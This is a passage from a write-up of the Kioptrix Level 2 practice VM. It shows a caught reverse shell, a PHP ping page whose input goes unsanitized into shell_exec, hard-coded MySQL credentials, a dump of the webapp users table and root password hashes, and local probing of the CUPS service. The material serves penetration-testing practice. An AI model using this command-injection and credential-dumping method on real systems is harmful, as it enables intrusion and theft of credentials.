This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
This is the second release of #2. First release had a bug in it with the web application
2012/Feb/09: Re-releases
2011/Feb/11: Original Release
Checksum:
Original MD5: 987FFB98117BDEB6CA0AAC6EA22E755D
Original SHA1: 7A0EA0F414DFA0E05B7DF504F21B325C6D3CC53B
└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.2.20:32772.
bash: no job control in this shell
bash-3.00$ whoami
apache
bash-3.00$ cat pingit.php
<?php
print $_POST['ip'];
if (isset($_POST['submit'])){
$target = $_REQUEST[ 'ip' ];
echo '<pre>';
echo shell_exec( 'ping -c 3 ' . $target );
echo '</pre>';
}
?>
bash-3.00$ cat index.php | grep mysql
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
mysql_select_db("webapp");
$result = mysql_query($query);
$row = mysql_fetch_array($result);
bash-3.00$ ls /home
harold
john
The php code has no sanitization and that's the security gap.
index.php also authorized us based on SQL query, meaning it has database connection string somewhere. The credentials didn't work for SSH.
Mysql creds: john:hiroshima
MySQL
bash-3.00$ mysql -u john -p'hiroshima' -e 'SHOW DATABASES;'
Database
mysql
test
webapp
bash-3.00$ mysql -u john -p'hiroshima' -e 'USE webapp; SHOW TABLES;'
Tables_in_webapp
users
bash-3.00$ mysql -u john -p'hiroshima' -e 'SELECT * FROM webapp.users;'
id username password
1 admin 5afac8d85f
2 john 66lajGGbla
bash-3.00$ mysql -u john -p'hiroshima' -e 'USE test; SHOW TABLES;'
bash-3.00$ mysql -u john -p'hiroshima' -e 'SELECT host,user,password FROM mysql.user WHERE user != "";'
host user password
localhost root 5a6914ba69e02807
localhost.localdomain root 5a6914ba69e02807
localhost john 5a6914ba69e02807
HTTP (631)
Writeup-3.png
Any attempt to enumerate the webapp results in Forbidden.
Check service locally:
bash-3.00$ curl 0:631 -s
<HTML>
<HEAD>
<TITLE>Common UNIX Printing System</TITLE>
<LINK REL=STYLESHEET TYPE="text/css" HREF="cups.css">
<MAP NAME="navbar">
<AREA SHAPE="RECT" COORDS="12,10,50,20" HREF="http://www.easysw.com" ALT="Easy Software Products Home Page">
<AREA SHAPE="RECT" COORDS="82,10,196,20" HREF="admin" ALT="Do Administration Tasks">
<AREA SHAPE="RECT" COORDS="216,10,280,20" HREF="classes" ALT="Manage Printer Classes Status">
<AREA SHAPE="RECT" COORDS="300,10,336,20" HREF="documentation.html" ALT="On-Line Help">
<AREA SHAPE="RECT" COORDS="356,10,394,20" HREF="jobs" ALT="Manage Jobs">
<AREA SHAPE="RECT" COORDS="414,10,476,20" HREF="printers" ALT="Manage Printers">
<AREA SHAPE="RECT" COORDS="496,10,568,20" HREF="http://www.cups.org" ALT="Download the Current CUPS Software">
</MAP>
</HEAD>
<BODY BGCOLOR="#cccc99" TEXT="#000000" LINK="#0000FF" VLINK="#FF00FF">
<CENTER>
<IMG SRC="/images/navbar.gif" WIDTH="583" HEIGHT="30" USEMAP="#navbar" BORDER="0" ALT="Common UNIX Printing System">
</CENTER>
<H1><A HREF="admin">Do Administration Tasks</A></H1>
<H1><A HREF="classes">Manage Printer Classes</A></H1>
<H1><A HREF="documentation.html">On-Line Help</A></H1>
<H1><A HREF="jobs">Manage Jobs</A></H1>
<H1><A HREF="printers">Manage Printers</A></H1>
<H1><A HREF="http://www.cups.org">Download the Current CUPS Software</A></H1>
<HR>
<P>The Common UNIX Printing System, CUPS, and the CUPS logo are the
trademark property of <A HREF="http://www.easysw.com">Easy Software
Products</A>. CUPS is copyright 1997-2003 by Easy Software Products,
All Rights Reserved.
</BODY>
</HTML>
I really wanted to tunnel the 631 port to see what it could do, but after few attempts with static binaries and whatnot the system wouldn't tunnel anything... So after some time I gave up on this port.
